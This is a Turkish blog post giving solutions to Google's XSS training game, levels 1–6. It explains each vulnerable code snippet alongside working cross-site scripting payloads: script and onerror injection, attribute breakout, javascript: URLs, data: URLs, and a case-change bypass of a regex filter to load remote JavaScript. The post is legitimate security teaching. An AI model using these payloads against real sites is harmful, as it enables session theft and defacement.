---
title: xss-game.appspot.com çözümleri
date: 2023-08-05 12:10:00 +0200
categories: Blog
tags: ["ctf","xss"]
image: 
---

# Google XSS Oyunu Çözümleri

Arama kısmına girdiğimiz değer javascript fonksiyonlarını çalıştırabiliyor mu bunu deneyeceğiz.

Bunun için html'in içine gömebildiğimiz javascript kodlarını kullanacağız.

İçerisine javascript gömülmüş örnek html içeriği:

```html
<!DOCTYPE html>
<body>
<script>
let t = new Date();
document.body.innerHTML = "Tarih: " + t.getHours() + "." + t.getMinutes()
</script>
</body>
</html>
```

Buradaki gibi `<script></script>` taglerinin arasına girdiğimiz şeyler javascript kodlarıdır.

Bunu ilgili web sitesinin arama kısmında istediğimiz gibi çalıştırabiliyorsak zaafiyet var demektir.

Bu deneme anahtar kelimelerine `payload` denir.

## Level 1

![resim](https://i.ibb.co/DYNfDm7/resim.png)

Kullanılan payload: `<script>alert(1);</script>`

Burada yukarıda anlattığım gibi payload'ı `<script></script>` tagları olarak ele aldım.

Bizden istenen, bir alert() çalıştırmamız. alert() fonksiyonu javascriptte bir mesaj ve bir Tamam düğmesi içeren bir uyarı kutusu görüntüler.

![resim](https://i.ibb.co/WpbfJDW/resim.png)

Anahtar kelime: `Reflected XSS`

Kullanılan payload: `<script>alert(1)</script>`

## Level 2

![resim](https://i.ibb.co/0XKstpN/resim.png)

Burada önceki payload'ı kullanmak istediğimde çalışmadı. Sonra mesaj kutusunun ögelerini inceledim:

![resim](https://i.ibb.co/Nx9z2YH/resim.png)

Sonra dedim ki eğer `<blockquote></blockquote>` taglarını websitesi yerine kendim bitirirsem işe yarayabilir:

Payload: `</blockquote><script>alert(1);</script>`

![resim](https://i.ibb.co/W5zNDhG/resim.png)

Bu da işe yaramadı. Sonra fotoğraf ekleme yöntemini kullandım. javascriptte fotoğraf gömerken onerror ile fonksiyon çalıştırabiliyoruz.

Örnek:  `<img src="image.gif" onerror="myFunction()">`

Bunu yaparken error vermesi için fotoğrafın var olmaması ya da src'nin yanlış yeri işaret ediyor olması gerekiyor.

Basitçe payload'ı şu şekle soktum: `<img src="x" onerror="alert(1);">`

![resim](https://i.ibb.co/TYy6VPc/resim.png)

Buna stored XSS deniyor. Yani biz bu alert() fonksiyonunu oraya gömdük ve artık o sayfaya giren herkes aynı mesajı görecek.

alert() yerine neler yazabileceğiniz hayal gücünüze kalmış.

Anahtar kelime: `Stored XSS`

Kullanılan payload: `<img src="x" onerror="alert(1);">`

## Level 3

![resim](https://i.ibb.co/f97gKV6/resim.png)

Burada input vereceğimiz herhangi bir yer yok. Peki [ne yapacağız](https://omercitak.com/dom-based-xssi-anlamak/)? Tabii ki [öğreneceğiz](https://www.netsparker.com.tr/blog/web-guvenligi/dom-tabanli-cross-site-scripting-xss-zafiyeti/)!

```html
<script>
    function chooseTab(num) {
      // Dynamically load the appropriate image.
      var html = "Image " + parseInt(num) + "<br>";
      html += "<img src='/static/level3/cloud" + num + ".jpg' />";
      $('#tabContent').html(html);
```

Burada baktığımızda `#` karakterinden sonra gelen veri yani image number, `chooseTab(num)` ile alınıyor. Sonra da `$('#tabContent').html(html);` ile html içine ekleniyor.

Eğer gönderilen num değerini manipüle edebilirsek alert() fonksiyonunu çalıştırabiliriz.

Bunun için burayı inceliyoruz: `html += "<img src='/static/level3/cloud" + num + ".jpg' />";`

Burada bizim input olarak girdiğimiz değer integer'a çevrilmeden direkt olarak yazılmış.

Tıpkı Level 2 deki örnekte olduğu gibi düzenleyebilir miyiz? 2. leveldeki şu şekildeydi: `<img src="x" onerror="alert(1);">`

Şimdiki örnekte buraya gelen veri şu şekilde olsaydı: `html += "<img src='/static/level3/cloud" + num + ".jpg' onerror="alert(1)"/>";`

Javascript kodumuz çalışacaktı.

Bunu yapmak için `#` karakterinden sonra `'onerror='alert(1)'` yazıp gönderirsek arkaplanda şu şekilde görünecek:

`html += "<img src='/static/level3/cloud" + ''onerror='alert(1)'' + ".jpg' />";`

Yani return edilecek html kodu şu şekilde olacaktı:

`<img src='/static/level3/cloud'onerror='alert(1)'.jpg' />";`

![resim](https://i.ibb.co/59gx01w/resim.png)

O zaman url'yi şu şekilde değiştirsek: `https://xss-game.appspot.com/level3/frame#'onerror='alert(1)'` ve bu url'ye gidersek:

![resim](https://i.ibb.co/2nDrw9V/resim.png)

Burada payloadı `' onerror='alert(1)//` olarak ayarlasaydık return edilecek html şu şekilde olurdu:

`<img src='/static/level3/cloud' onerror='alert(1)//.jpg' />";`

Bu kullanımda ise `//` karakterleri ile `.jpg` kısmı yorum haline getiriliyor. Bu yöntem de çalışırdı.

Kullandığımız payload: `'onerror='alert(1)'`

Anahtar kelime: `DOM based XSS`

## Level 4

![resim](https://i.ibb.co/YtBd1GY/resim.png)

index.html'de şu şekilde bir form var:

```html
<form action="" method="GET">
  <input id="timer" name="timer" value="3">
  <input id="button" type="submit" value="Create timer"> </form>
</form>
```

buradaki `timer` a girilen değer, timer.html'e şu şekilde aktarılıyor:

```html
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
```

Buradan anladığımıza göre loading.gif yüklendiğinde, startTimer fonksiyonu, parametre olarak gönderilen timer değeri ile çalıştırılacak.
startTimer() fonksiyonu kodları burada:
```html
<script>
  function startTimer(seconds) {
    seconds = parseInt(seconds) || 3;
    setTimeout(function() { 
      window.confirm("Time is up!");
      window.history.back();
    }, seconds * 1000);
  }
</script>
```

Burada baktığımızda parametre olarak gönderilen seconds, sonradan `seconds = parseInt(seconds) || 3;` statement'i ile 3'e ya da integer değerine atanıyor.
Yani bu fonksiyon doğru çalışıyor ve fonksiyonda bir şey aramayacağız. Zaafiyet arayacağımız yer burası:

```html
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
```

Eğer `5'+alert(1)+'5` değerini gönderirsek bu html şuna dönüşecektir:

```html
<img src="/static/loading.gif" onload="startTimer('5'+alert(1)+'5');" />
```

Böylece startTimer() fonksiyonuna gönderilen parametre 5 + undefined + 5 olacak.

![resim](https://i.ibb.co/2jgfQ0Z/resim.png)

Kullandığımız payload: `5'+alert(1)+'5`

Anahtar kelime: `DOM based XSS`

## Level 5

![resim](https://i.ibb.co/Zf6x3W4/resim.png)

Burada signup.html'i incelersek:

```html
<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
  </head>
 
  <body id="level5">
    <img src="/static/logos/level5.png" /><br><br>
    <!-- We're ignoring the email, but the poor user will never know! -->
    Enter email: <input id="reader-email" name="email" value="">
 
    <br><br>
    <a href="{{ next }}">Next >></a>
  </body>
</html>
```

`<a href="{{ next }}">Next >></a>` kodunu göreceğiz. [Burada](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-href-attribute-double-quotes-html-encoded) da bahsedildiği gibi a tagının href [kısmında](https://stackoverflow.com/questions/40843494/call-javascript-function-from-anchor-html-tag) javascript fonksiyon çağrısı [yapabiliyoruz](https://security.stackexchange.com/questions/11985/will-javascript-be-executed-which-is-in-an-href). Örnek:

```html
<a href="javascript:ornekFonksiyon()">link</a>
```

next değişkenine `javascript:ornekFonksiyon()` gönderirsek buraya göndermiş olacağız. Bunu alert ile değiştirelim: `javascript:alert(1)` ve gönderelim:

![resim](https://i.ibb.co/Zf6x3W4/resim.png)

İşe yaramadı. confirm.html içerisine bakarsak:

```html
<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
  </head>
 
  <body id="level5">
    <img src="/static/logos/level5.png" /><br><br>
    Thanks for signing up, you will be redirected soon...
    <script>
      setTimeout(function() { window.location = '{{ next }}'; }, 5000);
    </script>
  </body>
</html>
```

Parametre olarak gönderdiğimiz next, burada yönlendirme için kullanılıyor. O zaman confirm.html'e next değeri olarak `javascript:alert(1)` gönderirsek: `https://xss-game.appspot.com/level5/frame/confirm?next=javascript:alert(1)` olacak, 5 saniye bekleyecek ve normalde `https://xss-game.appspot.com/level5/frame/welcome` linkine göndermesi gerekirken 
`setTimeout(function() { window.location = '{{ next }}'; }, 5000);` statementinden kaynaklı olarak next değişkenine `javascript:alert(1)` değeri geldiği için alert() fonksiyonu çalışacak:

![resim](https://i.ibb.co/jyjD7vJ/resim.png)

Ayrıca signup.html ile bekleme olmadan manipüle edebiliriz. `https://xss-game.appspot.com/level5/frame/signup?next=confirm` gördüğümüzde next değeri sondaki confirm olacak. Bunu manipüle edersek sonraki next değeri bizim gireceğimiz değer olur. Bu urlyi `https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)` olarak değiştirirsek: 

![resim](https://i.ibb.co/yWJZ75d/resim.png)

![resim](https://i.ibb.co/h2mqmhb/resim.png)

Anahtar kelime: `html attribute xss`

Kullanılan payload: `javascript:alert(1)`

## Level 6

![resim](https://i.ibb.co/CBFVhsg/resim.png)

Burada uzaktan bir js dosyası çağırıp alert() verdirmemizi istiyor. Url'ye bakacak olursak websitesinin root klasöründen `/static/gadget.js` i kendisi çağırmaya çalışmış. Burayı manipüle edebiliriz.

[Buradan](https://wiki.zacheller.dev/web-app-pentest/xss/data-urls) edindiğimiz bilgiler üzerinden `#data:text/plain,alert(1)` şeklinde uzaktan çağrılmış gibi veri gönderebiliyoruz. O zaman url'yi düzenlersek: `https://xss-game.appspot.com/level6/frame#data:text/plain,alert(1)` elde ederiz. Go tuşuna basarsak: 

![resim](https://i.ibb.co/6nrXGv3/resim.png)

Peki uzaktan js enjeksiyonu nasıl yapacağız?

Bunun için github gist, paste siteleri vb. denedim ancak işe yarayan sadece [glitch](https://xss-game-appspot-com-level-6.glitch.me/i.js) oldu. Gösterdiğim gibi js dosyasını urlye giriyoruz:

Girdiğim url: `https://xss-game.appspot.com/level6/frame#https://xss-game-appspot-com-level-6.glitch.me/i.js`

![resim](https://i.ibb.co/9y35Px5/resim.png)

Olmadı. Peki neden? Çünkü kaynak kodları incelersek (index.html):

```html
<script>
// This will totally prevent us from loading evil URLs!
if (url.match(/^https?:\/\//)) {
  setInnerText(document.getElementById("log"),
    "Sorry, cannot load a URL containing \"http\".");
  return;
}
</script>
```

Berbat bir uzaktan js yükleme koruması ile karşılaşıyoruz. Bu basit bir regex ile hazırlanmış koruma. Atlatmak için binbir farklı yöntem kullanılabilir.

Ben bunu kullanmayı yeterli buldum: `https://xss-game.appspot.com/level6/frame#Https://xss-game-appspot-com-level-6.glitch.me/i.js`

Sadece urlmin başındaki https'i Https olarak değiştirdim ve sonuç:

![resim](https://i.ibb.co/5BrNrrd/resim.png)
